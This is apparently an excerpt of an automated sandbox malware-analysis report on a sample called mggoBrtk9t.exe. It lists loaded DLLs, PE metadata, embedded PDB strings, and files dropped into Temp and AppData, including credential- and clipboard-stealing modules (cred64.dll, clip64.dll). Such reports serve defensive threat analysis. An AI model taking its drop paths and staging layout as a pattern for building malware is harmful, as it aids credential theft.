Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office

Source: mggoBrtk9t.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: mggoBrtk9t.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1525826134.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1526540586.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_lzma.pdbMM source: 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514700090.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_socket.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1513867334.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: 56C7.tmp.ctx.exe, 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1521485641.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514287151.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_hashlib.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1513327898.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1524266099.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1525412258.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1526711457.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_ctypes.pdb source: 56C7.tmp.ctx.exe, 00000010.00000002.1552781026.00007FFEF6561000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1516604670.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1524630486.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1523917344.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_bz2.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1512658060.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1525233426.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514393425.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.amd64.pdbGCTL source: 56C7.tmp.ctx.exe, 0000000B.00000003.1512340032.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000002.1552964109.00007FFEF6C9E000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1522257553.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514055040.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514520918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1525045977.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\select.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1533732918.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1522655585.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbUGP source: 56C7.tmp.ctx.exe, 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: vcruntime140.amd64.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1512340032.000001B34401F000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000002.1552964109.00007FFEF6C9E000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1527207140.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1515940882.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1524081163.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1521949636.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514165152.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1524822647.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\python38.pdb source: 56C7.tmp.ctx.exe, 00000010.00000002.1551864143.00007FFEDDACD000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1526087682.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_lzma.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1513577063.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1520566936.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1522426351.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1521751847.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1527462730.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1523349251.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1524425384.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1523632509.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1514869646.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1526341580.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1517867226.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1517222458.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\unicodedata.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1534857194.000001B344028000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1525608468.000001B34401F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: 56C7.tmp.ctx.exe, 0000000B.00000003.1526969179.000001B34401F000.00000004.00000020.00020000.00000000.sdmp

Source: 6148.tmp.ssg.exe.5.dr

Static PE information: 0xD22848DC [Tue Sep 23 12:17:32 2081 UTC]

Source: C:\Users\user\Desktop\mggoBrtk9t.exe

Code function: 0_2_00007FF7CDC41050 LoadLibraryA,GetProcAddress,

0_2_00007FF7CDC41050

Source: mggoBrtk9t.exe	Static PE information: section name: .x64
Source: A629855EB2A22925382193.exe.0.dr	Static PE information: section name: .x64
Source: 6B1D.tmp.update.exe.5.dr	Static PE information: section name: .x64
Source: libcrypto-1_1.dll.11.dr	Static PE information: section name: .00cfg
Source: cred64[1].dll.23.dr	Static PE information: section name: _RDATA
Source: cred64.dll.23.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Code function: 0_2_00007FF7CDC4DEC1 push rcx; iretd	0_2_00007FF7CDC4DEC2
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Code function: 0_2_00007FF7CDC4DCC2 push rbp; iretd	0_2_00007FF7CDC4DCC3
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Code function: 0_2_00007FF7CDC4DE70 push 00000041h; ret	0_2_00007FF7CDC4DE74
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Code function: 0_2_00007FF7CDC4DE59 push rbp; iretd	0_2_00007FF7CDC4DE5A
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00007FF68DEADEC1 push rcx; iretd	2_2_00007FF68DEADEC2
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00007FF68DEADCC2 push rbp; iretd	2_2_00007FF68DEADCC3
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00007FF68DEADE70 push 00000041h; ret	2_2_00007FF68DEADE74
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00007FF68DEADE59 push rbp; iretd	2_2_00007FF68DEADE5A
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Code function: 6_2_00007FF67352DE59 push rbp; iretd	6_2_00007FF67352DE5A
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Code function: 6_2_00007FF67352DE70 push 00000041h; ret	6_2_00007FF67352DE74
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Code function: 6_2_00007FF67352DEC1 push rcx; iretd	6_2_00007FF67352DEC2
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Code function: 6_2_00007FF67352DCC2 push rbp; iretd	6_2_00007FF67352DCC3
Source: C:\Windows\System32\audiodg.exe	Code function: 8_2_00007FF6FDB5DCC2 push rbp; iretd	8_2_00007FF6FDB5DCC3
Source: C:\Windows\System32\audiodg.exe	Code function: 8_2_00007FF6FDB5DEC1 push rcx; iretd	8_2_00007FF6FDB5DEC2
Source: C:\Windows\System32\audiodg.exe	Code function: 8_2_00007FF6FDB5DE59 push rbp; iretd	8_2_00007FF6FDB5DE5A
Source: C:\Windows\System32\audiodg.exe	Code function: 8_2_00007FF6FDB5DE70 push 00000041h; ret	8_2_00007FF6FDB5DE74
Source: C:\Windows\System32\msiexec.exe	Code function: 9_2_00007FF63B52DE59 push rbp; iretd	9_2_00007FF63B52DE5A
Source: C:\Windows\System32\msiexec.exe	Code function: 9_2_00007FF63B52DE70 push 00000041h; ret	9_2_00007FF63B52DE74
Source: C:\Windows\System32\msiexec.exe	Code function: 9_2_00007FF63B52DEC1 push rcx; iretd	9_2_00007FF63B52DEC2
Source: C:\Windows\System32\msiexec.exe	Code function: 9_2_00007FF63B52DCC2 push rbp; iretd	9_2_00007FF63B52DCC3
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1EFAED push rdi; ret	16_2_00007FFEEE1EFAF4
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1EA5B5 push rdi; ret	16_2_00007FFEEE1EA5BB
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1EA096 push rdi; ret	16_2_00007FFEEE1EA0A2
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE1F0200 push rdi; ret	16_2_00007FFEEE1F0206
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF6C9CB1B push rbp; retf	16_2_00007FFEF6C9CB28
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Code function: 17_2_050AD442 push eax; ret	17_2_050AD451
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004C3573 pushad ; ret	18_2_004C358D
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004C750F pushad ; iretd	18_2_004C7510
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004DA6B4 push ecx; ret	18_2_004DA6C7
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004CD989 pushfd ; retf 0000h	18_2_004CD98A
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_0032A6B4 push ecx; ret	19_2_0032A6C7

Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\python38.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\cred64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	File created: C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15962\libffi-7.dll	Jump to dropped file
